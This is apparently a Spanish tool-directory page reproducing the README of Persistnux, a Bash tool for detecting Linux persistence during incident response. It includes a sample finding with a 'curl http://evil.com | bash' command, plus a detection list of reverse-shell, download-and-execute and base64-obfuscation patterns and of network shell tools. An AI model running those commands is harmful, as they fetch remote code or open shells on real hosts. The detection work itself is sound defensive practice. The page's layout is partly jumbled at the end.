Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/go-lanz/persistnux
Escalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesAnálisis ForenseAnálisis de MalwareForensia DigitalAprendizaje y EducaciónRespuesta a IncidentesEscape de ContenedoresLabs y Práctica
GitHubgo-lanz/persistnux
35hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Persistnux

Herramienta de detección de persistencia en Linux basada en Bash para investigaciones DFIR. Escanea más de 15 mecanismos de persistencia (systemd, cron, módulos del kernel, SSH, contenedores) con puntuación de confianza y genera informes CSV/JSONL para análisis forense.

Ver Repositorio

Persistnux

Una herramienta integral de detección de persistencia en Linux para investigaciones de Informática Forense y Respuesta a Incidentes (DFIR).

Resumen

Persistnux es una herramienta basada en Bash diseñada para identificar mecanismos de persistencia conocidos en Linux utilizados por atacantes para mantener el acceso a sistemas comprometidos. Realiza comprobaciones exhaustivas en el sistema y genera informes detallados en formato CSV y JSONL para su posterior análisis.

Características

  • Detección exhaustiva: Cubre todos los mecanismos principales de persistencia en Linux
  • Análisis en vivo: Se ejecuta directamente en sistemas en funcionamiento con dependencias mínimas
  • Salida detallada: Genera informes CSV y JSONL con hashes de archivos, metadatos y puntuaciones de confianza
  • Root y no root: Funciona con o sin privilegios de root (con alcance limitado para no root)
  • Preparado para DFIR: Formatos de salida compatibles con herramientas y flujos de trabajo DFIR comunes
  • Puntuación de sospecha: Puntuación automática de confianza (BAJA, MEDIA, ALTA, CRÍTICA) basada en indicadores
  • Reducción de falsos positivos: Integración con gestores de paquetes y listas blancas de servicios conocidos
  • Análisis basado en tiempo: Los archivos modificados recientemente reciben puntuaciones de confianza más altas
  • Coincidencia de patrones: Detecta shells inversas, patrones de descarga-ejecución, técnicas de ofuscación

Mecanismos de persistencia detectados

1. Servicios Systemd

  • Archivos de servicio (.service) en /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Servicios systemd a nivel de usuario
  • Filtra servicios deshabilitados y servicios sin ExecStart
  • Detecta comandos ExecStart sospechosos
  • Verifica la integridad del paquete de los binarios/scripts ejecutados

2. Tareas Cron y Tareas Programadas

  • Crontabs del sistema (/etc/crontab, /etc/cron.d/*)
  • Directorios de ejecución periódica (/etc/cron.{daily,hourly,weekly,monthly})
  • Crontabs de usuario para todos los usuarios (modo root)
  • Trabajos At
  • Patrones de comandos sospechosos en tareas programadas
  • Archivos ACL /etc/cron.allow y /etc/cron.deny: se marcan entradas que referencian usuarios inexistentes

3. Perfiles de Shell y Archivos RC

  • Perfiles del sistema (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Scripts Profile.d (/etc/profile.d/*)
  • Perfiles de usuario (.bashrc, .bash_profile, .zshrc, .profile, etc.)
  • Configuraciones de Fish shell
  • Detecta comandos maliciosos en archivos de perfil

4. Scripts Init y RC.local

  • /etc/rc.local y variantes
  • Scripts Init de SysV (/etc/init.d)
  • Scripts de nivel de ejecución (/etc/rc*.d)
  • Detecta comandos sospechosos de descarga/ejecución

5. Módulos del Kernel y Precarga de Bibliotecas

  • Configuraciones LD_PRELOAD (/etc/ld.so.preload): cada biblioteca listada se verifica mediante el gestor de paquetes
  • Configuraciones del enlazador dinámico (/etc/ld.so.conf, /etc/ld.so.conf.d/): se escanea la integridad de los archivos de configuración y se verifican los archivos .so en rutas no estándar
  • LD_PRELOAD/LD_LIBRARY_PATH en /etc/environment: el archivo de entorno se marca como ALTO; las rutas de bibliotecas referenciadas se verifican (no gestionadas/modificadas → CRÍTICO)
  • Parámetros de módulos del kernel (/etc/modprobe.d/, /etc/modprobe.conf): integridad del archivo; se analizan las directivas install en busca de objetivos de comando sospechosos; el blacklist de módulos de seguridad (apparmor, selinux, seccomp) se marca como ALTO
  • Configuraciones de carga automática de módulos del kernel (/etc/modules, /etc/modules-load.d/): integridad de la configuración; los nombres de módulos referenciados se resuelven a archivos mediante y se verifican

6. Mecanismos adicionales

  • Entradas de inicio automático XDG (.config/autostart, /etc/xdg/autostart): se escanean todos los directorios de usuario cuando se ejecuta como root
  • Archivos de entorno del sistema (/etc/environment): se verifican las rutas de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH
  • Configuraciones de sudoers y archivos de inclusión (/etc/sudoers, /etc/sudoers.d/): patrones NOPASSWD/ALL → ALTO
  • PAM (Módulos de autenticación conectables):
    • Todos los módulos .so se verifican mediante el gestor de paquetes; se siguen las directivas @include; se incluye /etc/pam.conf
    • Análisis de scripts pam_exec.so: scripts faltantes/sospechosos → CRÍTICO
    • Detección de relés pam_python.so / pam_perl.so: el script se extrae y analiza
    • Detección de archivos hook pam_script.so en

8. Persistencia SSH

  • ~/.ssh/authorized_keys por usuario: claves modificadas recientemente marcadas; se analiza el contenido de la opción command= en busca de patrones sospechosos
  • ~/.ssh/rc por usuario: presencia marcada como MEDIA; contenido sospechoso/shell inversa → ALTO/CRÍTICO

9. Secuestro de binarios

  • Verifica los binarios del sistema instalados contra la base de datos de paquetes (dpkg -V en Debian/Ubuntu, rpm -Va en RHEL/CentOS)
  • Archivos modificados en /usr/bin, /usr/sbin, /bin, /sbin → hallazgo CRÍTICO
  • Módulos PAM modificados en /lib/security → hallazgo CRÍTICO
  • Los archivos de configuración (conffiles de dpkg) se excluyen para evitar falsos positivos

10. Gestor de arranque e Initramfs

  • Inyección del parámetro del kernel init= en GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Scripts init descartados a nivel raíz en /
  • Módulos Dracut initramfs con hooks pre-pivot que escriben en /sysroot/etc/shadow
  • Scripts hook de initramfs-tools de Ubuntu en /etc/initramfs-tools/scripts/ y /hooks/
  • Imágenes /boot/initrd.img-* modificadas recientemente (basado en mtime)

11. Manipulación de Polkit (PolicyKit)

  • Archivos .pkla con ResultAny/ResultInactive/ResultActive=yes incondicionales
  • Concesiones de identidad comodín (unix-user:*)
  • Archivos .rules con polkit.Result.YES incondicional (Polkit basado en JavaScript >= 0.106)

12. D-Bus y NetworkManager

  • Registro malicioso de servicio de sistema D-Bus Exec= (/usr/share/dbus-1/system-services/)
  • Directivas de política D-Bus comodín allow own="*" o send_destination="*"
  • Scripts de despachador de NetworkManager (/etc/NetworkManager/dispatcher.d/)

13. Reglas Udev

  • Directivas Udev RUN+= que ejecutan comandos o scripts arbitrarios (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Reglas inyectadas en tiempo de ejecución en /run/udev/rules.d/
  • Patrones de delegación at/cron en RUN+= (evasión común de restricciones de primer plano)

14. Escape de contenedores

  • Contenedores Docker privilegiados (--privileged, --pid=host)
  • Montajes bind de docker.sock en contenedores (control total del host a través de la API de Docker)
  • nsenter -t 1 en puntos de entrada de contenedores o Dockerfiles
  • Dockerfiles en directorios editables por el usuario que contienen técnicas de escape

15. Comprobaciones avanzadas de binarios y privilegios

  • Escaneo activo del sistema de archivos SUID/SGID en directorios del sistema
  • Escaneo de capacidades de archivos mediante getcap: cap_setuid+ep en GTFOBins → CRÍTICO
  • Secuestro de binarios: originales renombrados (.original, .old, .bak, .real) con scripts envoltorio
  • Cuentas no root con UID 0 en /etc/passwd
  • Enmascaramiento de shell mediante espacio final en el campo shell de /etc/passwd
  • Cuentas del sistema (UID 1-999) con archivos authorized_keys SSH

Instalación

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Make the script executable
chmod +x persistnux.sh

Uso

Uso básico (análisis en vivo)

root@kitploit:~
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh

# Show help and all options
./persistnux.sh --help

# Run as regular user (limited scope)
./persistnux.sh

Opciones de filtrado (v2.4+)

De forma predeterminada, Persistnux muestra solo hallazgos sospechosos (confianza MEDIA, ALTA, CRÍTICA) para reducir el ruido y centrarse en amenazas procesables.

root@kitploit:~
# Default: Show only suspicious findings
sudo ./persistnux.sh

# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh

# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH

Directorio de salida personalizado

root@kitploit:~
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

Archivos de salida

De forma predeterminada, Persistnux crea un directorio de salida ./persistnux_output/ que contiene:

  • persistnux_<hostname>_<timestamp>.csv - Informe en formato CSV
  • persistnux_<hostname>_<timestamp>.jsonl - Informe en formato JSONL (un objeto JSON por línea)
  • persistnux_<hostname>_<timestamp>_report.txt - Informe resumen legible por humanos con recuentos de hallazgos y metadatos del escaneo

Formato de salida

Formato CSV

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

Formato JSONL

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Campos clave de salida

  • matched_pattern: El patrón de detección que activó el hallazgo (ej., suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: El contenido sospechoso real encontrado (línea completa, no solo la palabra clave)

Puntuación de confianza

Persistnux utiliza una puntuación de confianza inteligente para reducir los falsos positivos:

  • BAJA: Configuración estándar del sistema, baja sospecha (a menudo archivos gestionados por paquetes)
  • MEDIA: Potencialmente sospechosa pero podría ser legítima
  • ALTA: Se detectaron patrones sospechosos (ej., curl/wget en cron, ejecución en /tmp, shells inversas)
  • CRÍTICA: Evidencia definitiva de manipulación: fallo de verificación de integridad del paquete, SUID/SGID en un archivo sospechoso, anomalía en módulo PAM, generador systemd en ubicación efímera o código de intérprete en línea con carga útil de alta entropía

Reducción de falsos positivos (v1.2+)

Persistnux ahora incluye varias características para reducir los falsos positivos:

  1. Integración con el gestor de paquetes: Los archivos gestionados por dpkg (Debian/Ubuntu) o rpm (RedHat/CentOS) reciben puntuaciones de confianza más bajas
  2. Lista blanca de servicios conocidos: Los servicios comunes de proveedores (systemd-, dbus-, snap.*, etc.) se omiten automáticamente
  3. Puntuación basada en tiempo: Los archivos modificados recientemente (<7 días) reciben puntuaciones de confianza más altas
  4. Análisis contextualizado: Combina múltiples indicadores para una detección más precisa

Indicadores sospechosos

Persistnux marca automáticamente los elementos con mayor confianza cuando detecta:

Patrones basados en red

  • Shells inversas: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Herramientas de red: nc, netcat, socat, telnet
  • Operaciones de socket en lenguajes de scripting: python -c 'import socket'

Patrones de descarga y ejecución

  • Herramientas de descarga: curl | bash, wget | sh
  • Descarga con ejecución: curl URL -o /tmp/file && chmod +x

Técnicas de ofuscación

  • Codificación: base64 -d | bash, eval $(echo BASE64)
  • Ejecución dinámica: eval, exec

Ubicaciones sospechosas

  • Directorios temporales: /tmp, /dev/shm, /var/tmp
  • Directorios y archivos ocultos

Manipulación de permisos

  • Hacer archivos ejecutables: chmod +x, chmod 777
  • Manipulación del bit SUID: chmod u+s

Requisitos

  • Bash 4.0+
  • Utilidades Unix estándar: find, grep, stat, sha256sum, awk, file
  • Opcional: systemctl, lsmod, modinfo, getcap, dpkg/rpm (para comprobaciones específicas)
  • Sin dependencia de intérprete (bash puro + coreutils; no se requiere python/jq)
  • Se recomienda acceso root/sudo para un análisis exhaustivo

Probado en / Compatibilidad

Nota: La herramienta se ha probado principalmente en sistemas Ubuntu/Debian. Las distribuciones basadas en RedHat, Fedora y RPM tienen soporte para el gestor de paquetes implementado en el código pero no se han validado en entornos de prueba en vivo. Se agradecen las contribuciones e informes de prueba para distribuciones basadas en RPM.

Pruebas / Benchmark

Persistnux se compara con PANIX, que instala los mismos mecanismos de persistencia que Persistnux busca. El entorno de pruebas repetible en tests/panix_benchmark.sh aplica cada técnica de PANIX, ejecuta Persistnux y confirma la detección mediante una diferencia de línea base. Cada técnica PANIX basada en archivos que se aplica en el equipo de prueba se detecta con confianza MEDIA+. Consulte PANIX_BENCHMARK.md para obtener la tabla de cobertura completa y la metodología.

⚠️ El benchmark instala puertas traseras reales; ejecútelo solo en una máquina virtual desechable.

Hoja de ruta

  • Modo de análisis sin conexión para imágenes de discos forenses
  • Integración con la recopilación UAC (Colector de Artefactos de tipo Unix)
  • Extender el benchmark PANIX a vectores de gestor de arranque/initramfs/LKM en una VM completa

Recursos

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Contribuciones

¡Las contribuciones son bienvenidas! No dude en enviar pull requests o abrir issues para:

  • Detección de nuevos mecanismos de persistencia
  • Corrección de errores
  • Mejoras en la documentación
  • Optimizaciones de rendimiento
  • Formatos de salida adicionales

Licencia

Licencia MIT - Consulte el archivo LICENSE para más detalles.

Agradecimientos

Desarrollado para la comunidad DFIR para ayudar en la respuesta a incidentes en Linux y las investigaciones forenses.

Aviso legal

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, respuesta a incidentes y análisis forense. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de ejecutar esta herramienta en cualquier sistema.

Contacto

Para preguntas, problemas o contribuciones, utilice el rastreador de issues de GitHub.

Descargar herramienta
.ko
modinfo
  • Módulos del kernel cargados (lsmod): enumeración y verificación de integridad
  • /etc/security/
  • Integridad del archivo de configuración: configuraciones PAM modificadas propiedad del paquete → CRÍTICO
  • Verificación de bibliotecas LD_PRELOAD en pam_env.conf y ~/.pam_environment
  • Escaneo general de /etc/security/
  • Scripts MOTD (/etc/update-motd.d/): verificación del paquete; modificado → CRÍTICO
  • Ayudantes de credenciales Git y configuración core.pager: análisis de contenido para todos los usuarios
  • Webshells en directorios web comunes
  • DistribuciónEstadoNotas
    Ubuntu 22.04 LTS✅ ProbadoPlataforma principal de desarrollo y pruebas
    Ubuntu 20.04 LTS✅ ProbadoTotalmente compatible
    Debian 11/12✅ ProbadoBasado en dpkg, mismas convenciones de rutas
    Kali Linux (rolling)✅ ProbadoUtilizado para el benchmark de detección PANIX (ver más abajo)
    RedHat / RHEL⚠️ Aún no probadoEl soporte para rpm está implementado pero no verificado en sistemas en vivo
    Fedora⚠️ Aún no probadoEl soporte para rpm está implementado pero no verificado en sistemas en vivo
    CentOS / AlmaLinux / Rocky⚠️ Aún no probadoEl soporte para rpm está implementado pero no verificado en sistemas en vivo